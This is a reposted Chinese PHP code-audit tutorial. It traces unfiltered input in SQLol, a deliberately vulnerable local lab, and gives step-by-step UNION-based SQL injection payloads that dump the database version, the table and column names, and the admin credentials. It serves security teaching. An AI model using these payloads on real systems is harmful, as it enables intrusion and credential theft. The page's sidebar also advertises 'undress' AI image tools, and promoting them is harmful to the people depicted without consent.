Table of Contents
0x01 背景
0x02 环境搭建
0x03 漏洞分析
0x04 漏洞证明
Home Backend Development PHP Tutorial 【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况

【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况

Jun 23, 2016 pm 01:14 PM

近期博客将更新几篇PHP代码审计教程,文章转载自朋友博客,文章的风格简洁明了,也和我博客一惯坚持的风格类似。

文章已经得到授权(cnbraid授权),虽然不是我原创,但是文章很给力,希望小伙伴们喜欢。

0x01 背景

首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~

0x02 环境搭建

PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。

这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。

PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。

①源码我打包了一份: http://pan.baidu.com/s/1nu2vaOT

②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:

0x03 漏洞分析

首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:

这里进行简单的源码分析,看不懂就略过以后再看~

1.看select.php文件,开始引入了/include/nav.inc.php

<?phpinclude('includes/nav.inc.php');?>
Copy after login

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下

<?php$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);if(isset($_REQUEST['submit'])){ //submit后,开始进入处理程序switch($_REQUEST['sanitize_quotes']){ //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来    case 'quotes_double':        $_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);        break;    case 'quotes_escape':        $_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);        break;    case 'quotes_remove':        $_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);        break;}//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);//黑名单关键字的处理,文章用不上,略过...if(isset($_REQUEST['blacklist_keywords'])){    $blacklist = explode(',' , $_REQUEST['blacklist_keywords']);}//过滤级别,新手可以不用管,略过...if(isset($_REQUEST['blacklist_level'])){    switch($_REQUEST['blacklist_level']){        //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.        //At medium blacklisting, checks are done case-insensitively.        //At the highest level, checks are done case-insensitively and repeatedly.        case 'low':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);            }            break;        case 'medium':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));            }            break;        case 'high':            do{                $keyword_found = 0;                foreach($blacklist as $keyword){                    $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);                    $keyword_found += $count;                }                }while ($keyword_found);            break;    }}}?>
Copy after login

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?phpif(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管    $query = $_REQUEST['inject_string'];    if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';} else { //这里是根据你选择要注射的位置来构造sql语句    $display_column_name = $column_name = 'username';    $display_table_name = $table_name = 'users';    $display_where_clause = $where_clause = 'WHERE isadmin = 0';    $display_group_by_clause = $group_by_clause = 'GROUP BY username';    $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';    $display_having_clause = $having_clause = 'HAVING 1 = 1';    switch ($_REQUEST['location']){        case 'column_name':            $column_name = $_REQUEST['inject_string'];            $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'table_name':            $table_name = $_REQUEST['inject_string'];            $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'where_string':            $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";            $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";            break;        case 'where_int':            $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];            $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'group_by':            $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];            $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'order_by':            $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';            $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';            break;        case 'having':            $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];            $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;    }    $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";    /*Probably a better way to create $displayquery...    This allows me to underline the injection string    in the resulting query that's displayed with the    "Show Query" option without munging the query    which hits the database.*/    $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";}include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看}?>
Copy after login

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);print("\n<br>\n<br>");if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn->Execute($query);
Copy after login

0x04 漏洞证明

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:

2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC

根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:

-1 union select 222333#
Copy after login

找到输出点“222333”的位置如下图:

3.构造获取数据库相关信息的POC:

-1 union select concat(database(),0x5c,user(),0x5c,version())#
Copy after login

成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:

4.构造获取数据库sqlol中所有表信息的POC:

-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
Copy after login

成功获取数据库sqlol所有表信息如下:

5.构造获取admin表所有字段信息的POC:

-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
Copy after login

成功获取表admin所有字段信息如下:

6.构造获取admin表账户密码的POC:

-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
Copy after login

成功获取管理员的账户密码信息如下:

原文地址:

http://www.cnbraid.com/2015/12/17/sql0/

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

11 Best PHP URL Shortener Scripts (Free and Premium) 11 Best PHP URL Shortener Scripts (Free and Premium) Mar 03, 2025 am 10:49 AM

Long URLs, often cluttered with keywords and tracking parameters, can deter visitors. A URL shortening script offers a solution, creating concise links ideal for social media and other platforms. These scripts are valuable for individual websites a

Working with Flash Session Data in Laravel Working with Flash Session Data in Laravel Mar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

Build a React App With a Laravel Back End: Part 2, React Build a React App With a Laravel Back End: Part 2, React Mar 04, 2025 am 09:33 AM

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

Simplified HTTP Response Mocking in Laravel Tests Simplified HTTP Response Mocking in Laravel Tests Mar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

cURL in PHP: How to Use the PHP cURL Extension in REST APIs cURL in PHP: How to Use the PHP cURL Extension in REST APIs Mar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

12 Best PHP Chat Scripts on CodeCanyon 12 Best PHP Chat Scripts on CodeCanyon Mar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Announcement of 2025 PHP Situation Survey Announcement of 2025 PHP Situation Survey Mar 03, 2025 pm 04:20 PM

The 2025 PHP Landscape Survey investigates current PHP development trends. It explores framework usage, deployment methods, and challenges, aiming to provide insights for developers and businesses. The survey anticipates growth in modern PHP versio

Notifications in Laravel Notifications in Laravel Mar 04, 2025 am 09:22 AM

In this article, we're going to explore the notification system in the Laravel web framework. The notification system in Laravel allows you to send notifications to users over different channels. Today, we'll discuss how you can send notifications ov

See all articles